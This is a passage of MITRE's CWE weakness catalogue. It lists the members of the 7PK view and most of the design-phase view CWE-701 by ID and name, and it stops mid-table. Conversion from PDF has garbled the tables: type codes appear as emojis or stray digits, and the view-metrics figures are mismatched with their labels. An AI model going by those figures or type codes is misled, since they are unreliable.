This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.

Alternate Terms
7PK
“7PK” is frequently used by the MITRE team as an abbreviation.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>2</td>
<td>Environment</td>
<td>700</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>227</td>
<td>Improper Fulfillment of API Contract (‘API Abuse’)</td>
<td>700</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>700</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>700</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>700</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>700</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>700</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>1005</td>
<td>Input Validation and Representation</td>
<td>700</td>
</tr>
</tbody>
</table>

CWE-701: Weaknesses Introduced During Design

View ID: 701 (View: Implicit Slice)  Status: Incomplete

Objective
This view (slice) lists weaknesses that can be introduced during design.

View Data
Filter Used:
`./Introductory_Phase='Architecture and Design'`

View Metrics

<table>
<thead>
<tr>
<th></th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Views</td>
<td>382</td>
<td>out of 1006</td>
</tr>
<tr>
<td>Categories</td>
<td>0</td>
<td>out of 33</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>3</td>
<td>out of 245</td>
</tr>
<tr>
<td>Compound Elements</td>
<td>3</td>
<td>out of 720</td>
</tr>
</tbody>
</table>

CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>6</td>
<td>J2EE Misconfiguration: Insufficient Session-ID Length</td>
</tr>
<tr>
<td></td>
<td>7</td>
<td>J2EE Misconfiguration: Missing Custom Error Page</td>
</tr>
<tr>
<td></td>
<td>8</td>
<td>J2EE Misconfiguration: Entity Bean Declared Remote</td>
</tr>
<tr>
<td></td>
<td>9</td>
<td>J2EE Misconfiguration: Weak Access Permissions for EJB Methods</td>
</tr>
<tr>
<td></td>
<td>13</td>
<td>ASP.NET Misconfiguration: Password in Configuration File</td>
</tr>
<tr>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
</tr>
<tr>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)</td>
</tr>
<tr>
<td></td>
<td>24</td>
<td>Path Traversal: ‘../filedir’</td>
</tr>
<tr>
<td></td>
<td>36</td>
<td>Absolute Path Traversal</td>
</tr>
<tr>
<td></td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
</tr>
<tr>
<td></td>
<td>67</td>
<td>Improper Handling of Windows Device Names</td>
</tr>
<tr>
<td></td>
<td>69</td>
<td>Improper Handling of Windows ::DATA Alternate Data Stream</td>
</tr>
<tr>
<td></td>
<td>71</td>
<td>Apple ‘.DS_Store’</td>
</tr>
<tr>
<td></td>
<td>72</td>
<td>Improper Handling of Apple HFS+ Alternate Data Stream Path</td>
</tr>
<tr>
<td></td>
<td>73</td>
<td>External Control of File Name or Path</td>
</tr>
<tr>
<td></td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’)</td>
</tr>
<tr>
<td></td>
<td>75</td>
<td>Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)</td>
</tr>
<tr>
<td></td>
<td>76</td>
<td>Improper Neutralization of Equivalent Special Elements</td>
</tr>
</tbody>
</table>
### CWE-701: Weaknesses Introduced During Design

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
</tr>
<tr>
<td>C</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>C</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>C</td>
<td>84</td>
<td>Improper Neutralization of Encoded URI Schemes in a Web Page</td>
</tr>
<tr>
<td>B</td>
<td>88</td>
<td>Argument Injection or Modification</td>
</tr>
<tr>
<td>B</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>B</td>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
</tr>
<tr>
<td>B</td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
</tr>
<tr>
<td>B</td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
</tr>
<tr>
<td>C</td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
</tr>
<tr>
<td>B</td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
</tr>
<tr>
<td>B</td>
<td>96</td>
<td>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</td>
</tr>
<tr>
<td>V</td>
<td>97</td>
<td>Improper Neutralization of Server-Side Includes (SSI) Within a Web Page</td>
</tr>
<tr>
<td>B</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
</tr>
<tr>
<td>C</td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
</tr>
<tr>
<td>B</td>
<td>100</td>
<td>Technology-Specific Input Validation Problems</td>
</tr>
<tr>
<td>B</td>
<td>115</td>
<td>Misinterpretation of Input</td>
</tr>
<tr>
<td>C</td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
</tr>
<tr>
<td>C</td>
<td>118</td>
<td>Incorrect Access of Indexable Resource ('Range Error')</td>
</tr>
<tr>
<td>C</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
</tr>
<tr>
<td>V</td>
<td>121</td>
<td>Stack-based Buffer Overflow</td>
</tr>
<tr>
<td>V</td>
<td>122</td>
<td>Heap-based Buffer Overflow</td>
</tr>
<tr>
<td>B</td>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
</tr>
<tr>
<td>B</td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
</tr>
<tr>
<td>B</td>
<td>184</td>
<td>Incomplete Blacklist</td>
</tr>
<tr>
<td>B</td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
</tr>
<tr>
<td>B</td>
<td>198</td>
<td>Use of Incorrect Byte Ordering</td>
</tr>
<tr>
<td>C</td>
<td>200</td>
<td>Information Exposure</td>
</tr>
<tr>
<td>V</td>
<td>202</td>
<td>Exposure of Sensitive Data Through Data Queries</td>
</tr>
<tr>
<td>C</td>
<td>203</td>
<td>Information Exposure Through Discrepancy</td>
</tr>
<tr>
<td>B</td>
<td>204</td>
<td>Response Discrepancy Information Exposure</td>
</tr>
<tr>
<td>V</td>
<td>205</td>
<td>Information Exposure Through Behavioral Discrepancy</td>
</tr>
<tr>
<td>V</td>
<td>206</td>
<td>Information Exposure of Internal State Through Behavioral Inconsistency</td>
</tr>
<tr>
<td>V</td>
<td>207</td>
<td>Information Exposure Through an External Behavioral Inconsistency</td>
</tr>
<tr>
<td>B</td>
<td>208</td>
<td>Information Exposure Through Timing Discrepancy</td>
</tr>
<tr>
<td>B</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
</tr>
<tr>
<td>B</td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
</tr>
<tr>
<td>B</td>
<td>211</td>
<td>Information Exposure Through Externally-generated Error Message</td>
</tr>
<tr>
<td>B</td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
</tr>
<tr>
<td>V</td>
<td>213</td>
<td>Intentional Information Exposure</td>
</tr>
<tr>
<td>V</td>
<td>214</td>
<td>Information Exposure Through Process Environment</td>
</tr>
<tr>
<td>V</td>
<td>215</td>
<td>Information Exposure Through Debug Information</td>
</tr>
<tr>
<td>C</td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
</tr>
<tr>
<td>V</td>
<td>220</td>
<td>Sensitive Data Under FTP Root</td>
</tr>
<tr>
<td>C</td>
<td>221</td>
<td>Information Loss or Omission</td>
</tr>
<tr>
<td>B</td>
<td>222</td>
<td>Truncation of Security-relevant Information</td>
</tr>
<tr>
<td>B</td>
<td>223</td>
<td>Omission of Security-relevant Information</td>
</tr>
<tr>
<td>B</td>
<td>224</td>
<td>Obscured Security-relevant Information by Alternate Name</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>------------------------------------------------</td>
</tr>
<tr>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td></td>
</tr>
<tr>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td></td>
</tr>
<tr>
<td>228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td></td>
</tr>
<tr>
<td>229</td>
<td>Improper Handling of Values</td>
<td></td>
</tr>
<tr>
<td>231</td>
<td>Improper Handling of Extra Values</td>
<td></td>
</tr>
<tr>
<td>232</td>
<td>Improper Handling of Undefined Values</td>
<td></td>
</tr>
<tr>
<td>233</td>
<td>Improper Handling of Parameters</td>
<td></td>
</tr>
<tr>
<td>234</td>
<td>Failure to Handle Missing Parameter</td>
<td></td>
</tr>
<tr>
<td>235</td>
<td>Improper Handling of Extra Parameters</td>
<td></td>
</tr>
<tr>
<td>236</td>
<td>Improper Handling of Undefined Parameters</td>
<td></td>
</tr>
<tr>
<td>238</td>
<td>Improper Handling of Incomplete Structural Elements</td>
<td></td>
</tr>
<tr>
<td>239</td>
<td>Failure to Handle Incomplete Element</td>
<td></td>
</tr>
<tr>
<td>240</td>
<td>Improper Handling of Inconsistent Structural Elements</td>
<td></td>
</tr>
<tr>
<td>241</td>
<td>Improper Handling of Unexpected Data Type</td>
<td></td>
</tr>
<tr>
<td>245</td>
<td>J2EE Bad Practices: Direct Management of Connections</td>
<td></td>
</tr>
<tr>
<td>246</td>
<td>J2EE Bad Practices: Direct Use of Sockets</td>
<td></td>
</tr>
<tr>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
<td></td>
</tr>
<tr>
<td>256</td>
<td>Plaintext Storage of a Password</td>
<td></td>
</tr>
<tr>
<td>257</td>
<td>Storing Passwords in a Recoverable Format</td>
<td></td>
</tr>
<tr>
<td>258</td>
<td>Empty Password in Configuration File</td>
<td></td>
</tr>
<tr>
<td>259</td>
<td>Use of Hard-coded Password</td>
<td></td>
</tr>
<tr>
<td>260</td>
<td>Password in Configuration File</td>
<td></td>
</tr>
<tr>
<td>261</td>
<td>Weak Cryptography for Passwords</td>
<td></td>
</tr>
<tr>
<td>262</td>
<td>Not Using Password Aging</td>
<td></td>
</tr>
<tr>
<td>263</td>
<td>Password Aging with Long Expiration</td>
<td></td>
</tr>
<tr>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
<td></td>
</tr>
<tr>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
<td></td>
</tr>
<tr>
<td>268</td>
<td>Privilege Chaining</td>
<td></td>
</tr>
<tr>
<td>269</td>
<td>Improper Privilege Management</td>
<td></td>
</tr>
<tr>
<td>270</td>
<td>Privilege Context Switching Error</td>
<td></td>
</tr>
<tr>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
<td></td>
</tr>
<tr>
<td>272</td>
<td>Least Privilege Violation</td>
<td></td>
</tr>
<tr>
<td>273</td>
<td>Improper Check for Dropped Privileges</td>
<td></td>
</tr>
<tr>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
<td></td>
</tr>
<tr>
<td>276</td>
<td>Incorrect Default Permissions</td>
<td></td>
</tr>
<tr>
<td>277</td>
<td>Insecure Inherited Permissions</td>
<td></td>
</tr>
<tr>
<td>278</td>
<td>Insecure Preserved Inherited Permissions</td>
<td></td>
</tr>
<tr>
<td>279</td>
<td>Incorrect Execution-Assigned Permissions</td>
<td></td>
</tr>
<tr>
<td>280</td>
<td>Improper Handling of Insufficient Permissions or Privileges</td>
<td></td>
</tr>
<tr>
<td>281</td>
<td>Improper Preservation of Permissions</td>
<td></td>
</tr>
<tr>
<td>282</td>
<td>Improper Ownership Management</td>
<td></td>
</tr>
<tr>
<td>283</td>
<td>Unverified Ownership</td>
<td></td>
</tr>
<tr>
<td>284</td>
<td>Improper Access Control</td>
<td></td>
</tr>
<tr>
<td>285</td>
<td>Improper Authorization</td>
<td></td>
</tr>
<tr>
<td>286</td>
<td>Incorrect User Management</td>
<td></td>
</tr>
<tr>
<td>287</td>
<td>Improper Authentication</td>
<td></td>
</tr>
<tr>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
<td></td>
</tr>
<tr>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
<td></td>
</tr>
<tr>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
<td></td>
</tr>
<tr>
<td>291</td>
<td>Reliance on IP Address for Authentication</td>
<td></td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>--------------------------------------------------------</td>
</tr>
<tr>
<td>V</td>
<td>293</td>
<td>Using Referer Field for Authentication</td>
</tr>
<tr>
<td>B</td>
<td>294</td>
<td>Authentication Bypass by Capture-replay</td>
</tr>
<tr>
<td>B</td>
<td>295</td>
<td>Improper Certificate Validation</td>
</tr>
<tr>
<td>B</td>
<td>296</td>
<td>Improper Following of a Certificate's Chain of Trust</td>
</tr>
<tr>
<td>V</td>
<td>297</td>
<td>Improper Validation of Certificate with Host Mismatch</td>
</tr>
<tr>
<td>V</td>
<td>298</td>
<td>Improper Validation of Certificate Expiration</td>
</tr>
<tr>
<td>V</td>
<td>299</td>
<td>Improper Check for Certificate Revocation</td>
</tr>
<tr>
<td>B</td>
<td>300</td>
<td>Channel Accessible by Non-Endpoint ('Man-in-the-Middle')</td>
</tr>
<tr>
<td>V</td>
<td>301</td>
<td>Reflection Attack in an Authentication Protocol</td>
</tr>
<tr>
<td>V</td>
<td>302</td>
<td>Authentication Bypass by Assumed-Immutable Data</td>
</tr>
<tr>
<td>B</td>
<td>304</td>
<td>Missing Critical Step in Authentication</td>
</tr>
<tr>
<td>V</td>
<td>305</td>
<td>Authentication Bypass by Primary Weakness</td>
</tr>
<tr>
<td>B</td>
<td>306</td>
<td>Missing Authentication for Critical Function</td>
</tr>
<tr>
<td>V</td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
</tr>
<tr>
<td>B</td>
<td>308</td>
<td>Use of Single-factor Authentication</td>
</tr>
<tr>
<td>B</td>
<td>309</td>
<td>Use of Password System for Primary Authentication</td>
</tr>
<tr>
<td>B</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>B</td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
</tr>
<tr>
<td>V</td>
<td>313</td>
<td>Cleartext Storage in a File or on Disk</td>
</tr>
<tr>
<td>V</td>
<td>314</td>
<td>Cleartext Storage in the Registry</td>
</tr>
<tr>
<td>V</td>
<td>315</td>
<td>Cleartext Storage of Sensitive Information in a Cookie</td>
</tr>
<tr>
<td>V</td>
<td>316</td>
<td>Cleartext Storage of Sensitive Information in Memory</td>
</tr>
<tr>
<td>V</td>
<td>317</td>
<td>Cleartext Storage of Sensitive Information in GUI</td>
</tr>
<tr>
<td>V</td>
<td>318</td>
<td>Cleartext Storage of Sensitive Information in Executable</td>
</tr>
<tr>
<td>B</td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
</tr>
<tr>
<td>B</td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
</tr>
<tr>
<td>B</td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
</tr>
<tr>
<td>B</td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
</tr>
<tr>
<td>B</td>
<td>324</td>
<td>Use of a Key Past Its Expiration Date</td>
</tr>
<tr>
<td>B</td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
</tr>
<tr>
<td>C</td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
</tr>
<tr>
<td>B</td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
</tr>
<tr>
<td>B</td>
<td>328</td>
<td>Reversible One-Way Hash</td>
</tr>
<tr>
<td>V</td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
</tr>
<tr>
<td>B</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
</tr>
<tr>
<td>B</td>
<td>331</td>
<td>Insufficient Entropy</td>
</tr>
<tr>
<td>B</td>
<td>332</td>
<td>Insufficient Entropy in PRNG</td>
</tr>
<tr>
<td>V</td>
<td>333</td>
<td>Improper Handling of Insufficient Entropy in TRNG</td>
</tr>
<tr>
<td>B</td>
<td>334</td>
<td>Small Space of Random Values</td>
</tr>
<tr>
<td>C</td>
<td>335</td>
<td>PRNG Seed Error</td>
</tr>
<tr>
<td>B</td>
<td>336</td>
<td>Same Seed in PRNG</td>
</tr>
<tr>
<td>B</td>
<td>337</td>
<td>Predictable Seed in PRNG</td>
</tr>
<tr>
<td>B</td>
<td>338</td>
<td>Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)</td>
</tr>
<tr>
<td>B</td>
<td>339</td>
<td>Small Seed Space in PRNG</td>
</tr>
<tr>
<td>C</td>
<td>340</td>
<td>Predictability Problems</td>
</tr>
<tr>
<td>B</td>
<td>341</td>
<td>Predictable from Observable State</td>
</tr>
<tr>
<td>B</td>
<td>342</td>
<td>Predictable Exact Value from Previous Values</td>
</tr>
<tr>
<td>B</td>
<td>343</td>
<td>Predictable Value Range from Previous Values</td>
</tr>
<tr>
<td>B</td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
</tr>
<tr>
<td>C</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>346</td>
<td>Origin Validation Error</td>
</tr>
<tr>
<td></td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
</tr>
<tr>
<td></td>
<td>348</td>
<td>Use of Less Trusted Source</td>
</tr>
<tr>
<td></td>
<td>349</td>
<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
</tr>
<tr>
<td></td>
<td>350</td>
<td>Reliance on Reverse DNS Resolution for a Security-Critical Action</td>
</tr>
<tr>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td></td>
<td>353</td>
<td>Missing Support for Integrity Check</td>
</tr>
<tr>
<td></td>
<td>354</td>
<td>Improper Validation of Integrity Check Value</td>
</tr>
<tr>
<td></td>
<td>356</td>
<td>Product UI does not Warn User of Unsafe Actions</td>
</tr>
<tr>
<td></td>
<td>357</td>
<td>Insufficient UI Warning of Dangerous Operations</td>
</tr>
<tr>
<td></td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
</tr>
<tr>
<td></td>
<td>359</td>
<td>Exposure of Private Information ('Privacy Violation')</td>
</tr>
<tr>
<td></td>
<td>360</td>
<td>Trust of System Event Data</td>
</tr>
<tr>
<td></td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
</tr>
<tr>
<td></td>
<td>363</td>
<td>Race Condition Enabling Link Following</td>
</tr>
<tr>
<td></td>
<td>364</td>
<td>Signal Handler Race Condition</td>
</tr>
<tr>
<td></td>
<td>366</td>
<td>Race Condition within a Thread</td>
</tr>
<tr>
<td></td>
<td>368</td>
<td>Context Switching Race Condition</td>
</tr>
<tr>
<td></td>
<td>370</td>
<td>Missing Check for Certificate Revocation after Initial Check</td>
</tr>
<tr>
<td></td>
<td>372</td>
<td>Incomplete Internal State Distinction</td>
</tr>
<tr>
<td></td>
<td>377</td>
<td>Insecure Temporary File</td>
</tr>
<tr>
<td></td>
<td>378</td>
<td>Creation of Temporary File With Insecure Permissions</td>
</tr>
<tr>
<td></td>
<td>379</td>
<td>Creation of Temporary File in Directory with Incorrect Permissions</td>
</tr>
<tr>
<td></td>
<td>383</td>
<td>J2EE Bad Practices: Direct Use of Threads</td>
</tr>
<tr>
<td></td>
<td>384</td>
<td>Session Fixation</td>
</tr>
<tr>
<td></td>
<td>385</td>
<td>Covert Timing Channel</td>
</tr>
<tr>
<td></td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
</tr>
<tr>
<td></td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
</tr>
<tr>
<td></td>
<td>391</td>
<td>Unchecked Error Condition</td>
</tr>
<tr>
<td></td>
<td>392</td>
<td>Missing Report of Error Condition</td>
</tr>
<tr>
<td></td>
<td>393</td>
<td>Return of Wrong Status Code</td>
</tr>
<tr>
<td></td>
<td>394</td>
<td>Unexpected Status Code or Return Value</td>
</tr>
<tr>
<td></td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
</tr>
<tr>
<td></td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
</tr>
<tr>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
</tr>
<tr>
<td></td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
</tr>
<tr>
<td></td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
</tr>
<tr>
<td></td>
<td>402</td>
<td>Transmission of Private Resources into a New Sphere ('Resource Leak')</td>
</tr>
<tr>
<td></td>
<td>403</td>
<td>Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')</td>
</tr>
<tr>
<td></td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
</tr>
<tr>
<td></td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
</tr>
<tr>
<td></td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
</tr>
<tr>
<td></td>
<td>407</td>
<td>Algorithmic Complexity</td>
</tr>
<tr>
<td></td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
</tr>
<tr>
<td></td>
<td>409</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
</tr>
<tr>
<td></td>
<td>410</td>
<td>Insufficient Resource Pool</td>
</tr>
<tr>
<td></td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
</tr>
<tr>
<td></td>
<td>413</td>
<td>Improper Resource Locking</td>
</tr>
<tr>
<td></td>
<td>414</td>
<td>Missing Lock Check</td>
</tr>
<tr>
<td></td>
<td>415</td>
<td>Double Free</td>
</tr>
</tbody>
</table>
## CWE-701: Weaknesses Introduced During Design

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>🐥</td>
<td>416</td>
<td>Use After Free</td>
</tr>
<tr>
<td>🐥</td>
<td>419</td>
<td>Unprotected Primary Channel</td>
</tr>
<tr>
<td>🐥</td>
<td>420</td>
<td>Unprotected Alternate Channel</td>
</tr>
<tr>
<td>🐥</td>
<td>421</td>
<td>Race Condition During Access to Alternate Channel</td>
</tr>
<tr>
<td>🐥</td>
<td>422</td>
<td>Unprotected Windows Messaging Channel (‘Shatter’)</td>
</tr>
<tr>
<td>🐥</td>
<td>424</td>
<td>Improper Protection of Alternate Path</td>
</tr>
<tr>
<td>🐥</td>
<td>425</td>
<td>Direct Request (‘Forced Browsing’)</td>
</tr>
<tr>
<td>🐥</td>
<td>426</td>
<td>Untrusted Search Path</td>
</tr>
<tr>
<td>🐥</td>
<td>432</td>
<td>Dangerous Signal Handler not Disabled During Sensitive Operations</td>
</tr>
<tr>
<td>🐥</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>🐥</td>
<td>435</td>
<td>Interaction Error</td>
</tr>
<tr>
<td>🐥</td>
<td>436</td>
<td>Interpretation Conflict</td>
</tr>
<tr>
<td>🐥</td>
<td>437</td>
<td>Incomplete Model of Endpoint Features</td>
</tr>
<tr>
<td>🐥</td>
<td>439</td>
<td>Behavioral Change in New Version or Environment</td>
</tr>
<tr>
<td>🐥</td>
<td>440</td>
<td>Expected Behavior Violation</td>
</tr>
<tr>
<td>🐥</td>
<td>441</td>
<td>Unintended Proxy or Intermediary (‘Confused Deputy’)</td>
</tr>
<tr>
<td>🐥</td>
<td>444</td>
<td>Inconsistent Interpretation of HTTP Requests (‘HTTP Request Smuggling’)</td>
</tr>
<tr>
<td>🐥</td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
</tr>
<tr>
<td>🐥</td>
<td>447</td>
<td>Unimplemented or Unsupported Feature in UI</td>
</tr>
<tr>
<td>🐥</td>
<td>450</td>
<td>Multiple Interpretations of UI Input</td>
</tr>
<tr>
<td>🐥</td>
<td>451</td>
<td>User Interface (UI) Misrepresentation of Critical Information</td>
</tr>
<tr>
<td>🐥</td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
</tr>
<tr>
<td>🐥</td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
</tr>
<tr>
<td>🐥</td>
<td>455</td>
<td>Non-exit on Failed Initialization</td>
</tr>
<tr>
<td>🐥</td>
<td>459</td>
<td>Incomplete Cleanup</td>
</tr>
<tr>
<td>🐥</td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
</tr>
<tr>
<td>🐥</td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
</tr>
<tr>
<td>🐥</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
</tr>
<tr>
<td>🐥</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
</tr>
<tr>
<td>🐥</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code (‘Unsafe Reflection’)</td>
</tr>
<tr>
<td>🐥</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
</tr>
<tr>
<td>🐥</td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
</tr>
<tr>
<td>🐥</td>
<td>475</td>
<td>Undefined Behavior for Input to API</td>
</tr>
<tr>
<td>🐥</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
</tr>
<tr>
<td>🐥</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
</tr>
<tr>
<td>🐥</td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>🐥</td>
<td>501</td>
<td>Trust Boundary Violation</td>
</tr>
<tr>
<td>🐥</td>
<td>502</td>
<td>Deserialization of Untrusted Data</td>
</tr>
<tr>
<td>🐥</td>
<td>510</td>
<td>Trapdoor</td>
</tr>
<tr>
<td>🐥</td>
<td>511</td>
<td>Logic/Time Bomb</td>
</tr>
<tr>
<td>🐥</td>
<td>512</td>
<td>Spyware</td>
</tr>
<tr>
<td>🐥</td>
<td>518</td>
<td>Inadvertently Introduced Weakness</td>
</tr>
<tr>
<td>🐥</td>
<td>520</td>
<td>.NET Misconfiguration: Use of Impersonation</td>
</tr>
<tr>
<td>🐥</td>
<td>521</td>
<td>Weak Password Requirements</td>
</tr>
<tr>
<td>🐥</td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
</tr>
<tr>
<td>🐥</td>
<td>523</td>
<td>Unprotected Transport of Credentials</td>
</tr>
<tr>
<td>🐥</td>
<td>526</td>
<td>Information Exposure Through Environmental Variables</td>
</tr>
<tr>
<td>🐥</td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
</tr>
<tr>
<td>🐥</td>
<td>535</td>
<td>Information Exposure Through Shell Error Message</td>
</tr>
<tr>
<td>🐥</td>
<td>539</td>
<td>Information Exposure Through Persistent Cookies</td>
</tr>
<tr>
<td>🐥</td>
<td>542</td>
<td>Information Exposure Through Cleanup Log Files</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>3</td>
<td>544</td>
<td>Missing Standardized Error Handling Mechanism</td>
</tr>
<tr>
<td>3</td>
<td>554</td>
<td>ASP.NET Misconfiguration: Not Using Input Validation Framework</td>
</tr>
<tr>
<td>3</td>
<td>555</td>
<td>J2EE Misconfiguration: Plaintext Password in Configuration File</td>
</tr>
<tr>
<td>3</td>
<td>564</td>
<td>SQL Injection: Hibernate</td>
</tr>
<tr>
<td>3</td>
<td>565</td>
<td>Reliance on Cookies without Validation and Integrity Checking</td>
</tr>
<tr>
<td>3</td>
<td>566</td>
<td>Authorization Bypass Through User-Controlled SQL Primary Key</td>
</tr>
<tr>
<td>3</td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
</tr>
<tr>
<td>3</td>
<td>574</td>
